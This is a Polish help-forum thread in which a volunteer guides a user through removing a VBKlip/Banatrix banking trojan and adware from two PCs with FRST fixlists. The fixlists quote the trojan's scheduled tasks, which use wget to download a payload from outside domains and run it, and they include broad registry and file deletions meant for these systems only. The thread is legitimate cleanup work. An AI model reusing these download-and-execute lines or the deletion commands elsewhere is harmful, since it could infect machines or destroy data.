Skocz do zawartości
WAŻNE - Zakładanie tematu: obowiązkowe logi
Nadchodzące zmiany w logowaniu

Problem z pojawiającym się komunikatem o trojanie w pliku dat.bmp

Proteus76

Przez Proteus76
w Dział pomocy doraźnej

Rekomendowane odpowiedzi

Pomoc jest darmowa, ale proszę rozważ przekazanie dotacji na utrzymanie serwisu: klik.
picasso

picasso

Opublikowano
Opublikowano

AdwCleaner tu nie pomoże, to nie jest adware. To jest infekcja typu VBKlip/Banatrix ładowana za pomocą Harmonogramu zadań:

 

Task: {49ACE010-577E-4A92-BC37-A396BD06DD3C} - System32\Tasks\SYSTEMDOWN => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 350 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://sdshdb.nl/index.php?data=XhyuslHf2k;up;1421852599 & start cmd /R dat.bmp

Task: {52BD9ED5-BE48-4C77-B61E-69F2B29FA155} - System32\Tasks\SYSTEMUP => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 350 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://iashdb.in/index.php?data=iUbbj8phSd;up;1421852589 & start cmd /R dat.bmp

Task: {7DCC40B8-FC2C-4903-8585-D5A44E56A190} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://grogle.in/dat.bmp?data=9a9CS535Ou;camtasia.exe;1421836212 & start cmd /R dat.bmp 
 

Ale są tu też konsekwencje pobytu adware. Adware nadal jest obecne w różnych miejscach (np. aplikacja "Grammarly Lite Smart Spellchecker"). Ponadto, cała przeglądarka Google Chrome została przekonwertowana przez adware z wersji stabilnej do developerskiej i jest wymagana jej reinstalacja.
 
 

Wdróż następujące działania:
 

1. Przez Panel sterowania odinstaluj adware, poszkodowaną przeglądarkę i stare wersje: Adobe Reader X (10.1.9) , Adobe Shockwave Player 12.0, Grammarly Lite Smart Spellchecker, Google Chrome, Java 7 Update 17.
 

2. Otwórz Notatnik i wklej w nim:
 


CloseProcesses:
CreateRestorePoint:
Task: {49ACE010-577E-4A92-BC37-A396BD06DD3C} - System32\Tasks\SYSTEMDOWN => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 350 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://sdshdb.nl/index.php?data=XhyuslHf2k;up;1421852599 & start cmd /R dat.bmp
Task: {52BD9ED5-BE48-4C77-B61E-69F2B29FA155} - System32\Tasks\SYSTEMUP => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 350 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://iashdb.in/index.php?data=iUbbj8phSd;up;1421852589 & start cmd /R dat.bmp
Task: {7A0BED88-1594-4021-8842-72AD25A9A43B} - System32\Tasks\{1C57B201-D7B9-445A-90ED-7F1E2614E4A6} => pcalua.exe -a C:\Users\Proteus\AppData\Roaming\awesomehp\UninstallManager.exe
Task: {7DCC40B8-FC2C-4903-8585-D5A44E56A190} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://grogle.in/dat.bmp?data=9a9CS535Ou;camtasia.exe;1421836212 & start cmd /R dat.bmp 
Task: {70055F6B-23A1-442B-86EC-6D69DFADECC6} - System32\Tasks\EasyPartitionManager => C:\Windows\MSetup\BA46-12225A02\EPM.exe
Startup: C:\Users\Proteus\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M-Kernel_a69.zip.lnk
S3 cpuz130; \??\C:\Users\Proteus\AppData\Local\Temp\cpuz130\cpuz_x64.sys [X]
S3 cpuz135; \??\C:\windows\TEMP\cpuz135\cpuz135_x64.sys [X]
HKLM-x32\...\Run: [fst_pl_81] => [X]
HKLM-x32\...\Run: [] => [X]
HKLM-x32\...\Run: [Andy] => C:\Program Files\Andy\HandyAndy.exe
HKLM\...\Policies\Explorer: [NoControlPanel] 0
HKU\S-1-5-21-1866740971-3537411966-2138577161-1001\...\Run: [] => [X]
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => No File
CHR HKLM\SOFTWARE\Policies\Google: Policy restriction 
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = www.wp.pl/?src01=dp220141121
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = http://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.google.com
HKU\S-1-5-21-1866740971-3537411966-2138577161-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.symantec.com/redirects/security_response/fix_homepage/index.jsp?lg=en&pid=NIS&pvid=21.5.0.19
HKU\S-1-5-21-1866740971-3537411966-2138577161-1001\Software\Microsoft\Internet Explorer\Main,Search Bar = http://www.google.com/ie
SearchScopes: HKU\S-1-5-21-1866740971-3537411966-2138577161-1000 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-21-1866740971-3537411966-2138577161-1001 -> {6A1806CD-94D4-4689-BA73-E35EA1EA9990} URL = http://www.google.com/search?q={sear
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF Plugin HKU\S-1-5-21-1866740971-3537411966-2138577161-1001: @tools.google.com/Google Update;version=3 -> C:\Users\Proteus\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF Plugin HKU\S-1-5-21-1866740971-3537411966-2138577161-1001: @tools.google.com/Google Update;version=9 -> C:\Users\Proteus\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
CustomCLSID: HKU\S-1-5-21-1866740971-3537411966-2138577161-1001_Classes\CLSID\{0F22A205-CFB0-4679-8499-A6F44A80A208}\InprocServer32 -> C:\Users\Proteus\AppData\Local\Google\Update\1.3.25.5\psuser_64.dll No File
CustomCLSID: HKU\S-1-5-21-1866740971-3537411966-2138577161-1001_Classes\CLSID\{355EC88A-02E2-4547-9DEE-F87426484BD1}\InprocServer32 -> C:\Users\Proteus\AppData\Local\Google\Update\1.3.23.9\psuser_64.dll No File
CustomCLSID: HKU\S-1-5-21-1866740971-3537411966-2138577161-1001_Classes\CLSID\{90B3DFBF-AF6A-4EA0-8899-F332194690F8}\InprocServer32 -> C:\Users\Proteus\AppData\Local\Google\Update\1.3.24.15\psuser_64.dll No File
CustomCLSID: HKU\S-1-5-21-1866740971-3537411966-2138577161-1001_Classes\CLSID\{FE498BAB-CB4C-4F88-AC3F-3641AAAF5E9E}\InprocServer32 -> C:\Users\Proteus\AppData\Local\Google\Update\1.3.24.7\psuser_64.dll No File
C:\ProgramData\*.*
C:\ProgramData\{1b30cb05-82b9-9e5a-1b30-0cb0582b2c16}
C:\ProgramData\{d0a5e402-7f84-7b8f-d0a5-5e4027f89009}
C:\ProgramData\{d0a5e402-7f84-7b8f-d0a5-5e4027f89009}
C:\ProgramData\Temp
C:\Users\Proteus\AppData\Local\Google\Chrome
C:\Users\Proteus\Desktop\FOLDERY\PROGRAMY\Samsung Kies.lnk
C:\Users\Proteus\Downloads\*(*)-dp*.exe
C:\windows\SysWOW64\AMD64
C:\windows\SysWOW64\X86
Reg: reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\mountpoints2 /f
Reg: reg delete HKCU\Software\Google\Chrome /f
Reg: reg delete HKLM\SOFTWARE\Google\Chrome /f
Reg: reg delete HKLM\SOFTWARE\Wow6432Node\Google\Chrome /f
Reg: reg delete "HKU\S-1-5-18\Software\Microsoft\Internet Explorer\SearchScopes" /f
Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes" /f
Reg: reg delete "HKU\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes" /f
Reg: reg delete "HKU\S-1-5-18\Software\Microsoft\Internet Explorer\Main" /f
Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\Main" /f
Reg: reg delete "HKU\S-1-5-20\Software\Microsoft\Internet Explorer\Main" /f
CMD: sc config "PLAY ONLINE. RunOuc" start= disabled
EmptyTemp:
 


Adnotacja dla innych czytających: skrypt unikatowy - dopasowany tylko i wyłącznie pod ten system, proszę nie stosować na swoich systemach.
 

Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, system zostanie zresetowany. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt.
 

3. Wyczyść Firefox: menu Pomoc > Informacje dla pomocy technicznej > Zresetuj / Odśwież program Firefox. Zakładki i hasła nie zostaną naruszone, ale używane rozszerzenia trzeba będzie przeinstalować.
 

4. Napraw uszkodzony specjalny skrót IE. W pasku adresów eksploratora wklej ścieżkę i ENTER:
 

C:\Users\Proteus\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools
 

Prawoklik na zlokalizowany tam skrót Internet explorer (bez dodatków) > Właściwości > w polu Element docelowy po ścieżce "C:\Program Files\Internet Explorer\iexplore.exe" dopisz dwie spacje i -extoff
 

5. Zrób nowy log FRST z opcji Scan, zaznacz ponownie pole Addition, by powstały dwa logi. Dołącz też plik fixlog.txt.
Odnośnik do komentarza
picasso

picasso

Opublikowano
Opublikowano

Aj, w międzyczasie próbowałeś YAC (Yet Another Cleaner) - to podejrzany wątpliwy skaner: KLIK. Kolejne poprawki:

 

Otwórz Notatnik i wklej w nim:

 

S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X]
RemoveDirectory: C:\AdwCleaner
RemoveDirectory: C:\FRST\Quarantine
RemoveDirectory: C:\NPE
RemoveDirectory: C:\Users\Proteus\AppData\Local\NPE
RemoveDirectory: C:\Users\Proteus\Desktop\Stare dane programu Firefox
RemoveDirectory: C:\Windows\system32\log
CMD: del /q C:\ProgramData\*.*
CMD: del /q C:\Users\Proteus\Downloads\yet_another_cleaner_sk_6111391.exe
Reg: reg query HKLM\SOFTWARE\Google\Update\ClientState /s
Reg: reg query HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState /s

 

Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Pokaż wynikowy fixlog.txt.

 

 

Mój drugi komputer ma podobne objawy czyli choruje na taki sam typ infekcji. Prosiłbym bardzo o pomoc również w jego przypadku.

Gdy skończymy z tym komputerem, podasz pełny zestaw logów z tego drugiego.

Odnośnik do komentarza
Proteus76

Proteus76

Opublikowano
  • Autor
Opublikowano

Wiem, użycie tego skanera to był błąd. Te programy tylko udają że robią coś pozytecznego. Zastosowałem następną poprawkę i poniżej zamieszczam odpowiednie logi. Narazie nie zaobserwowałem jeszcze pojawienia się ostrzeżenia o dat.bmp. Dziś już kończę pracę z tym komputerem ,bo wracam do domu. Jutro od wczesnych godzin rannych bedę go bacznie obserwował. Dziś wieczorem podeślę logi z mojego komputera domowego o którym wspominałem. Dziękuję i pozdrawiam.

Fixlog.txt

Odnośnik do komentarza
picasso

picasso

Opublikowano
Opublikowano

Nie prosiłam o nowe logi FRST (usuwam), na tym etapie tylko fixlog mi był potrzebny. Jeśli nie wymieniam konkretnej akcji, to znaczy że nie jest potrzebna. Ostatnia poprawka na szczątki Google Chrome development ciągle walające się w rejestrze. Otwórz Notatnik i wklej w nim:

 

Reg: reg delete HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} /f
Reg: reg delete HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96} /f

 

Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Pokaż wynikowy fixlog.txt.

Odnośnik do komentarza
Proteus76

Proteus76

Opublikowano
  • Autor
Opublikowano

Byłem troszkę nadgorliwy. Przepraszam bardzo. Ostatnią poprawkę zastosuję jutro rano i wyślę odpowiedni fixlog.txt. Niestety mam komputery w dwóch lokalizacjach i nie bardzo mogę je przemieścić. Od rana czeka mnie dłuższa sesja z tym pierwszym komputerem wiec sprawdzę go dokładnie.

Poniżej zamieszczam logi z drugiej maszyny która ma podobne objawy. Teraz mam dostęp właśnie do tego komputera,

Addition.txt

FRST.txt

Shortcut.txt

Odnośnik do komentarza
picasso

picasso

Opublikowano
Opublikowano

Dla poprzedniego komputera: oczywiście czekam na fixlog z ostatniej akcji, a po sprawdzeniu podam końcowe kroki.

 

Drugi komputer: ta sama infekcja, tylko mniej zadań w Harmonogramie. Akcje do przeprowadzenia:

 

1. Otwórz Notatnik i wklej w nim:

 

CloseProcesses:
CreateRestorePoint:
Task: {2B0FCD48-6531-4E36-89FA-214F118F1445} - System32\Tasks\{F11B7F52-71B1-40A5-B2D0-7E2A96AD8C9E} => pcalua.exe -a C:\Users\Proteus\Downloads\Huawei_Drivers_v4.25.11.00\Driver\DriverSetup.exe -d C:\Users\Proteus\Downloads\Huawei_Drivers_v4.25.11.00\Driver
Task: {8C97B981-9056-421B-A12D-7C43087905C6} - System32\Tasks\{07CD315F-8D34-4281-AC9E-4CEFE4534D41} => pcalua.exe -a "C:\Program Files (x86)\PLAY ONLINE\uninst.exe"
Task: {8F39E590-088F-4A09-95CC-41AD1FDCBEC1} - System32\Tasks\{61BD271E-EF2E-4AC1-8FD9-3097ABF7B4DA} => pcalua.exe -a "C:\Program Files\AVAST Software\Avast\aswRunDll.exe" -c "C:\Program Files\AVAST Software\Avast\Setup\setiface.dll" RunSetup
Task: {BA832787-7A2E-46E3-8854-CB91F631F134} - System32\Tasks\SYSTEM => cmd.exe /R cd "C:\ProgramData" & ping 1.1.1.1 -n 300 -w 1000 & wget -t 0 --retry-connrefused -O dat.bmp http://grogle.in/dat.bmp?data=embX3iyw8R;camtasia.exe;1422474927 & start cmd /R dat.bmp 
Task: {C99679AE-306B-4F01-927D-DA1BFF564E10} - System32\Tasks\{2C909A96-50CC-46F5-AA7E-7AD6831ED2EC} => pcalua.exe -a C:\ProgramData\LGMOBILEAX\LGMLauncher.exe -d C:\ProgramData\LGMOBILEAX
CustomCLSID: HKU\S-1-5-21-2603393732-3475753062-4034012456-1000_Classes\CLSID\{D0336C0B-7919-4C04-8CCE-2EBAE2ECE8C9}\InprocServer32 -> C:\Users\Proteus\AppData\Local\Google\Update\1.3.25.11\psuser_64.dll No File
HKU\S-1-5-21-2603393732-3475753062-4034012456-1000\...\Run: [Akamai NetSession Interface] => "C:\Users\Proteus\AppData\Local\Akamai\netsession_win.exe"
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => No File
HKU\S-1-5-21-2603393732-3475753062-4034012456-1000\Software\Microsoft\Internet Explorer\Main,Search Bar = http://www.google.com/ie
HKU\S-1-5-21-2603393732-3475753062-4034012456-1000\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.google.com/ie
SearchScopes: HKU\S-1-5-21-2603393732-3475753062-4034012456-1000 -> {6A1806CD-94D4-4689-BA73-E35EA1EA9990} URL = http://www.google.com/search?q={sear
SearchScopes: HKU\S-1-5-21-2603393732-3475753062-4034012456-1001 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
FF HKU\S-1-5-21-2603393732-3475753062-4034012456-1000\...\Firefox\Extensions: [{B64D9B05-48E1-4CEB-BF58-E0643994E900}] - C:\Program Files (x86)\Common Files\DVDVideoSoft\plugins\ff
CHR DefaultSuggestURL: Default -> http://ssmsp.ask.com/query?sstype=prefix&li=ff&q={searchTerms}
S3 cpuz130; \??\C:\Users\Proteus\AppData\Local\Temp\cpuz130\cpuz_x64.sys [X]
S3 cpuz137; \??\C:\Windows\TEMP\cpuz137\cpuz137_x64.sys [X]
S3 ew_hwusbdev; system32\DRIVERS\ew_hwusbdev.sys [X]
S3 ew_usbenumfilter; system32\DRIVERS\ew_usbenumfilter.sys [X]
S3 GPUZ; \??\C:\Windows\TEMP\GPUZ.sys [X]
S3 huawei_cdcacm; system32\DRIVERS\ew_jucdcacm.sys [X]
S3 huawei_enumerator; system32\DRIVERS\ew_jubusenum.sys [X]
S3 huawei_ext_ctrl; system32\DRIVERS\ew_juextctrl.sys [X]
S3 huawei_wwanecm; system32\DRIVERS\ew_juwwanecm.sys [X]
S3 hwdatacard; system32\DRIVERS\ewusbmdm.sys [X]
C:\Program Files (x86)\GUT73DA.tmp
C:\ProgramData\TEMP
C:\Users\Proteus\Downloads\M-Kernel_*.zip
C:\Users\Proteus\Downloads\sh-remover.exe
CMD: del /q C:\ProgramData\*.*
Reg: reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\mountpoints2 /f
Reg: reg delete "HKU\S-1-5-18\Software\Microsoft\Internet Explorer\SearchScopes" /f
Reg: reg delete "HKU\S-1-5-19\Software\Microsoft\Internet Explorer\SearchScopes" /f
Reg: reg delete "HKU\S-1-5-20\Software\Microsoft\Internet Explorer\SearchScopes" /f
EmptyTemp:

 

Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Czekaj cierpliwie, nie przerywaj działania. Gdy Fix ukończy pracę, system zostanie zresetowany. W tym samym katalogu skąd uruchamiano FRST powstanie plik fixlog.txt.

 

2. Wyczyść Firefox: menu Pomoc > Informacje dla pomocy technicznej > Zresetuj / Odśwież program Firefox.

 

3. Zrób nowy log FRST z opcji Scan, zaznacz Addition, ale nie Shortcut. Dołącz też plik fixlog.txt.

Odnośnik do komentarza
picasso

picasso

Opublikowano
Opublikowano

Wszystkie operacje pomyślnie wykonane. Kończymy:

 

 

KOMPUTER 1:

 

1. Skasuj z Pulpitu foldery FRST2 i Stare dane programu Firefox.

 

2. Zastosuj DelFix oraz wyczyść foldery Przywracania systemu: KLIK.

 

 

KOMPUTER 2:

 

1. W Google Chrome: Ustawienia > karta Ustawienia > sekcja Wyszukiwanie > klik w Zarządzanie wyszukiwarkami > skasuj z listy pozycję Ask (o ile widoczna). Przypuszczalnie tego śmiecia ładuje rozszerzenie Norton Security Toolbar. Symantec się zeszmacił i swoje paski ma sponsorowane niepożądanymi wyszukiwarkami Ask.

 

2. Skasuj z Pulpitu foldery FRST i Stare dane programu Firefox.

 

3. Zastosuj DelFix.

Odnośnik do komentarza
Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
Tematy

  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...